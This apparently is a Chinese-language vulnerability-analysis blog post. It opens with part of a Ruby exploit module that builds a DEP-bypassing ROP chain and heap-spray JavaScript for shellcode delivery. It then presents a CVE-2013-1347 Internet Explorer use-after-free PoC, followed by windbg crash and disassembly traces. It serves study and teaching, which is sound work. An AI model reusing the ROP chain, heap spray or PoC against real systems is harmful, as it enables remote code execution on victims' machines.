185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
def make_js(encoded_payload)
# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx
0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
# -- call CreateFileA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)
# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile
# -- call MapViewOfFile
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer
0x4a802196, # mov [ecx],eax / ret - save map base addr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr
0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax
0x4a80d585, # add eax,edx / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)
# -- call memcpy
0x4a80b692, # jmp [eax]
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??
].pack('V*')
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end

就是和上一步的调试的结果差不多,就是布置 shellcode,堆喷射之类的,and [esp+ebx*2],edi 感觉这个指令用的好6。大概就是这些了。

CVE-2013-1347

之前一直想调浏览器的漏洞,这个漏洞有点老,正好可以用来入门(安利下师傅收集的浏览器资料awesome-browser-exploit )。

poc 分析

复现时使用的 poc 是漏洞战争附带资料里的 min_poc,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
f0=document.createElement('span');
document.body.appendChild(f0);
f1=document.createElement('span');
document.body.appendChild(f1);
f2=document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
f1.appendChild(document.createElement('table')); //has to be a table
try{
f0.offsetParent=null; //required
}catch(e){ }
f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required
CollectGarbage();
</script>
</body>
</html>

开启页堆和栈回溯

1
gflags.exe /i iexplore.exe +hpa +ust

windbg 附加已经打开 pocie8 浏览器,发生崩溃

1
2
3
4
5
6
7
8
9
10
11
0:013> g
ModLoad: 6c770000 6c822000 C:\Windows\System32\jscript.dll
(a44.664): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=68a89100 ebx=06e38fb0 ecx=06e1dfc8 edx=00000000 esi=0473c8e8 edi=00000000
eip=6870b68d esp=0473c8bc ebp=0473c8d4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\mshtml.dll -
mshtml!Ordinal104+0x4b0ee:
6870b68d 8b01 mov eax,dword ptr [ecx] ds:0023:06e1dfc8=????????

查看 ecx 发现不可访问,并且 ecx 指向的地址之前已经被 free, 所以可以存在 use after free 漏洞。回溯可知 mshtml!CGenericElement 对象被释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0:005> dd ecx L1
06b04fc8 ????????
0:005> !heap -p -a ecx
address 06b04fc8 found in
_DPH_HEAP_ROOT @ 12a1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
6592750: 6b04000 2000
6cba90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
772365f4 ntdll!RtlDebugFreeHeap+0x0000002f
771fa0aa ntdll!RtlpFreeHeap+0x0000005d
771c65a6 ntdll!RtlFreeHeap+0x00000142
7601bbe4 kernel32!HeapFree+0x00000014
6865c83a mshtml!CGenericElement::`scalar deleting destructor'+0x0000003d
68711daf mshtml!CBase::SubRelease+0x00000022
6870a6b5 mshtml!CElement::PrivateRelease+0x0000002a
68707894 mshtml!PlainRelease+0x00000025
68753862 mshtml!PlainTrackerRelease+0x00000014
6bf3a735 jscript!VAR::Clear+0x0000005f
6bf56e46 jscript!GcContext::Reclaim+0x000000b6
6bf543e9 jscript!GcContext::CollectCore+0x00000123
6bfb83f0 jscript!JsCollectGarbage+0x0000001d
6bf4758c jscript!NameTbl::InvokeInternal+0x00000141
6bf44f84 jscript!VAR::InvokeByDispID+0x0000017f
6bf4e4c7 jscript!CScriptRuntime::Run+0x00002b80
6bf45d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
6bf45cdb jscript!ScrFncObj::Call+0x0000008d
6bf45ef1 jscript!CSession::Execute+0x0000015f
6bf4620a jscript!COleScript::ExecutePendingScripts+0x000001bd
6bf4c3b9 jscript!COleScript::ParseScriptTextCore+0x000002a4
6bf4c1d1 jscript!COleScript::ParseScriptText+0x00000030
686ef774 mshtml!CScriptCollection::ParseScriptText+0x00000218
686ef58c mshtml!CScriptElement::CommitCode+0x000003c2
686ef34f mshtml!CScriptElement::Execute+0x000000c6
686d2d52 mshtml!CHtmParse::Execute+0x0000004a
686cc36a mshtml!CHtmPost::Broadcast+0x0000000f
686cceba mshtml!CHtmPost::Exec+0x000005f7
686ce945 mshtml!CHtmPost::Run+0x00000015
686ce8a9 mshtml!PostManExecute+0x000001fb
686ce80e mshtml!PostManResume+0x000000f7

下面来看下触发崩溃的指令的附近指令,很明显 ecx 是一个对象的地址,mov eax,dword ptr [ecx]eax 为虚表地址,之后取偏移 0x70 调用虚函数。

1
2
3
4
5
6
7
8
9
10
0:005> u 6870b68d
mshtml!CElement::Doc:
6870b68d 8b01 mov eax,dword ptr [ecx]
6870b68f 8b5070 mov edx,dword ptr [eax+70h]
6870b692 ffd2 call edx
6870b694 8b400c mov eax,dword ptr [eax+0Ch]
6870b697 c3 ret
6870b698 90 nop
6870b699 90 nop
6870b69a 90 nop

DOM树创建

先看下 poc 中的第一条 js 语句

1
f0=document.createElement('span');

可以通过 windbgx 命令查询与 document.createElement 相关的函数。

1
2
3
4
0:005> x mshtml!*document*createElement*
68665e8d mshtml!CDocument::createElement = <no type information>
68716ec0 mshtml!s_methdescCDocumentcreateElement = <no type information>
68665ee6 mshtml!CDocument::CreateElementHelper = <no type information>

可以猜测 mshtml!CDocument::createElementmshtml!CDocument::CreateElementHelper 函数和 document.createElement 有关,实际上也是由 mshtml!CDocument::createElement 去调用 mshtml!CDocument::CreateElementHelper 完成的。使用 windbgCDocument::createElement 函数下断点,单步调试分析其功能,通过调试可以发现 CDocument::createElement 函数中实际创建元素的函数是 CDocument::CreateElementHelper 之后会调用所创建元素虚表偏移处 0xd80xe0 处的函数,如在上面的调试中调用的是创建 span 元素后的虚表中的 mshtml!CXDomainRequest::QueryInterfacemshtml!CDomPrototype::Release 函数,之后调用 CBase::SetErrorInfo 函数。注释见下图
2018-07-11_142334.png-75.8kB
下面再来分析下 mshtml!CDocument::CreateElementHelper 函数。调试时遇到的一个问题是 ida 通过 mshtmlpdb 自动识别出来的变量和 windbg 的变量有区别,感觉 ida 错啦。对比如下
xxx.png-58.3kB

4239479238.png-11.6kB

后面分析的时候我是按照 windbg 的类型来分析的。实际上在调试过程中主要的指令如下:
4293089432123.png-15.3kB
其实就是先调用 CDocument::Markup(void) 获得 CMarkup 对象,然后通过 CMarkup::CreateElement() 创建新的元素。调试信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0:005> p
eax=00000004 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f28 esp=0456d034 ebp=0456d048 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CDocument::CreateElementHelper+0x45:
68665f28 e813770a00 call mshtml!CDocument::Markup (6870d640)
0:005>
eax=0589ef30 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f2d esp=0456d034 ebp=0456d048 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CDocument::CreateElementHelper+0x4a:
68665f2d 50 push eax
0:005> ln poi(eax)
(68701f30) mshtml!CMarkup::`vftable' | (68702028) mshtml!CDoc::`vftable'
Exact matches:
mshtml!CMarkup::`vftable' = <no type information>
0:005> p
eax=0589ef30 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f2e esp=0456d030 ebp=0456d048 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CDocument::CreateElementHelper+0x4b:
68665f2e 33c0 xor eax,eax
0:005>
eax=00000000 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f30 esp=0456d030 ebp=0456d048 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDocument::CreateElementHelper+0x4d:
68665f30 e84bfeffff call mshtml!CMarkup::CreateElement (68665d80)
0:005> dd esp L1
0456d030 0589ef30
0:005> ln poi(0589ef30)
(68701f30) mshtml!CMarkup::`vftable' | (68702028) mshtml!CDoc::`vftable'
Exact matches:
mshtml!CMarkup::`vftable' = <no type information>
0:005> p
eax=00000000 ebx=0456d58c ecx=0591bfd8 edx=68711db9 esi=0456d060 edi=05b80fc8
eip=68665f35 esp=0456d040 ebp=0456d048 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDocument::CreateElementHelper+0x52:
68665f35 8bf0 mov esi,eax

继续动态调试 CMarkup::CreateElement 函数。发现实际上又调用了 CreateElement 函数去做处理。

1
2
3
4
5
.text:682C5E1D push 1 ; struct CMarkup *
.text:682C5E1F push 0 ; struct CDoc *
.text:682C5E21 push ecx ; struct CElement **
.text:682C5E22 push eax ; struct CHtmTag *
.text:682C5E23 call CreateElement(CHtmTag *,CElement * *,CDoc *,CMarkup *,int *,ulong)

继续跟踪 CreateElement 函数。下面是部分调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
0:005>
eax=0472d56c ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd6fa esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x1d:
686cd6fa 0fb64701 movzx eax,byte ptr [edi+1] ds:0023:060fcf01=74
0:005>
eax=00000074 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd6fe esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x21:
686cd6fe c1e004 shl eax,4
0:005> r eax
eax=00000074
0:005> p
eax=00000740 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd701 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CreateElement+0x24:
686cd701 0520397268 add eax,offset mshtml!g_atagdesc (68723920)
0:005>
eax=68724060 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd706 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x29:
686cd706 0f8405691100 je mshtml!CreateElement+0x2b (687e4011) [br=0]
0:005>
eax=68724060 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd70c esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x38:
686cd70c 8b4008 mov eax,dword ptr [eax+8] ds:0023:68724068={mshtml!CCommentElement::CreateElement (686977d2)}
0:005> p
eax=686977d2 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd70f esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x3b:
686cd70f 8d4d10 lea ecx,[ebp+10h]
0:005>
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd712 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x3e:
686cd712 51 push ecx
0:005> p
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd713 esp=0472d524 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x3f:
686cd713 52 push edx
0:005>
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd714 esp=0472d520 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x40:
686cd714 57 push edi
0:005>
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd715 esp=0472d51c ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x41:
686cd715 ffd0 call eax {mshtml!CCommentElement::CreateElement (686977d2)}
...................................................
0:005>
eax=00000000 ebx=04098fc0 ecx=00000065 edx=00000004 esi=00000000 edi=060fcf00
eip=686cd729 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x4d:
686cd729 8b4d10 mov ecx,dword ptr [ebp+10h] ss:0023:0472d550=05ff2fc8
0:005>
eax=00000000 ebx=04098fc0 ecx=05ff2fc8 edx=00000004 esi=00000000 edi=060fcf00
eip=686cd72c esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x50:
686cd72c 8b11 mov edx,dword ptr [ecx] ds:0023:05ff2fc8={mshtml!CCommentElement::`vftable' (68555798)}
0:005>
eax=00000000 ebx=04098fc0 ecx=05ff2fc8 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd72e esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x52:
686cd72e 8b4210 mov eax,dword ptr [edx+10h] ds:0023:685557a8={mshtml!CElement::Init (686c9f5d)}
0:005>
eax=686c9f5d ebx=04098fc0 ecx=05ff2fc8 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd731 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x55:
686cd731 ffd0 call eax {mshtml!CElement::Init (686c9f5d)}
........................................
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd748 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x64:
686cd748 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:0472d550=05ff2fc8
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74b esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x67:
686cd74b 51 push ecx
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74c esp=0472d524 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x68:
686cd74c 57 push edi
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74d esp=0472d520 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x69:
686cd74d 52 push edx
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74e esp=0472d51c ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x6a:
686cd74e e85b000000 call mshtml!CElement::InitAttrBag (686cd7ae)
......................................
0:005>
eax=0839ef30 ebx=04098fc0 ecx=00000000 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd76e esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x82:
686cd76e 8b4d10 mov ecx,dword ptr [ebp+10h] ss:0023:0472d550=05ff2fc8
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd771 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x85:
686cd771 8945f8 mov dword ptr [ebp-8],eax ss:0023:0472d538=00000000
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd774 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x88:
686cd774 897df4 mov dword ptr [ebp-0Ch],edi ss:0023:0472d534=0472d548
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd777 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x8b:
686cd777 8b11 mov edx,dword ptr [ecx] ds:0023:05ff2fc8={mshtml!CCommentElement::`vftable' (68555798)}
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd779 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x8d:
686cd779 8b92f8000000 mov edx,dword ptr [edx+0F8h] ds:0023:68555890={mshtml!CElement::Init2 (686ca047)}
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=686ca047 esi=00000000 edi=060fcf00
eip=686cd77f esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x93:
686cd77f 8d45f4 lea eax,[ebp-0Ch]
0:005>
eax=0472d534 ebx=04098fc0 ecx=05ff2fc8 edx=686ca047 esi=00000000 edi=060fcf00
eip=686cd782 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x96:
686cd782 50 push eax
0:005>
eax=0472d534 ebx=04098fc0 ecx=05ff2fc8 edx=686ca047 esi=00000000 edi=060fcf00
eip=686cd783 esp=0472d524 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x97:
686cd783 ffd2 call edx {mshtml!CElement::Init2 (686ca047)}

主要功能及注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.text:686CD6FA movzx eax, byte ptr [edi+1] ; eax为索引
.text:686CD6FE shl eax, 4
.text:686CD701 add eax, offset CTagDesc const * const g_atagdesc ; 函数数组的地址
.text:686CD706 jz loc_687E4011
.text:686CD70C mov eax, [eax+8] ; 得到函数的实际地址
.text:686CD70F lea ecx, [ebp+arg_8]
.text:686CD712 push ecx
.text:686CD713 push edx
.text:686CD714 push edi
.text:686CD715 call eax ; 调用函数
.text:686CD717 mov esi, eax
.text:686CD719 test esi, esi
.text:686CD71B jnz loc_68665D6C
.text:686CD721 cmp [ebx], eax
.text:686CD723 jnz loc_68665D67
.text:686CD729 mov ecx, [ebp+arg_8] ; 得到上面call eax的结果即元素创建的返回值存到ecx
.text:686CD72C mov edx, [ecx]
.text:686CD72E mov eax, [edx+10h] ; 取得相应元素虚表偏移0x10处的函数调用
.text:686CD731 call eax
.text:686CD733 mov esi, eax
.text:686CD735 test esi, esi
.text:686CD737 jnz loc_68665D6C
.text:686CD73D cmp [ebx], eax
.text:686CD73F jnz loc_68665D67
.text:686CD745 mov ecx, [ebp+arg_4] ; this
.text:686CD748 mov edx, [ebp+arg_8]
.text:686CD74B push ecx
.text:686CD74C push edi ; struct CMarkup *
.text:686CD74D push edx ; struct CHtmTag *
.text:686CD74E call CElement::InitAttrBag(CHtmTag *,CMarkup *)
.text:686CD753 mov esi, eax
.text:686CD755 test esi, esi
.text:686CD757 jnz loc_68665D6C
.text:686CD75D cmp [ebx], eax
.text:686CD75F jnz loc_68665D67
.text:686CD765 mov ecx, [ebp+arg_C]
.text:686CD768 mov eax, [ebp+arg_4]
.text:686CD76B mov [ebp+var_4], ecx
.text:686CD76E mov ecx, [ebp+arg_8]
.text:686CD771 mov [ebp+var_8], eax
.text:686CD774 mov [ebp+var_C], edi
.text:686CD777 mov edx, [ecx]
.text:686CD779 mov edx, [edx+0F8h] ; 取得所创建元素虚表偏移0xf8处的虚函数并在下面调用
.text:686CD77F lea eax, [ebp+var_C]
.text:686CD782 push eax
.text:686CD783 call edx

下面继续分析创建 span 元素的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text:68648F8C ; int __stdcall CSpanElement::CreateElement(struct CHtmTag *, struct CDoc *, struct CElement **)
.text:68648F8C public: static long __stdcall CSpanElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *) proc near
.text:68648F8C ; DATA XREF: .text:68723ED8↓o
.text:68648F8C
.text:68648F8C arg_4 = dword ptr 0Ch
.text:68648F8C arg_8 = dword ptr 10h
.text:68648F8C
.text:68648F8C mov edi, edi
.text:68648F8E push ebp
.text:68648F8F mov ebp, esp
.text:68648F91 push esi
.text:68648F92 push 28h ; dwBytes
.text:68648F94 push 8 ; dwFlags
.text:68648F96 push _g_hProcessHeap ; hHeap
.text:68648F9C call ds:HeapAlloc(x,x,x)
.text:68648FA2 mov esi, eax ; 创建元素后保存在的内存地址
.text:68648FA4 test esi, esi
.text:68648FA6 jz short loc_68648FD2 ; 分配失败直接跳转到函数尾
.text:68648FA8 push [ebp+arg_4] ; 传过来的CDoc对象
.text:68648FAB push 5Bh
.text:68648FAD call CElement::CElement(ELEMENT_TAG,CDoc *)
.text:68648FB2 mov dword ptr [esi], offset const CSpanElement::`vftable'
.text:68648FB8 mov eax, esi ; eax = esi = span
.text:68648FBA
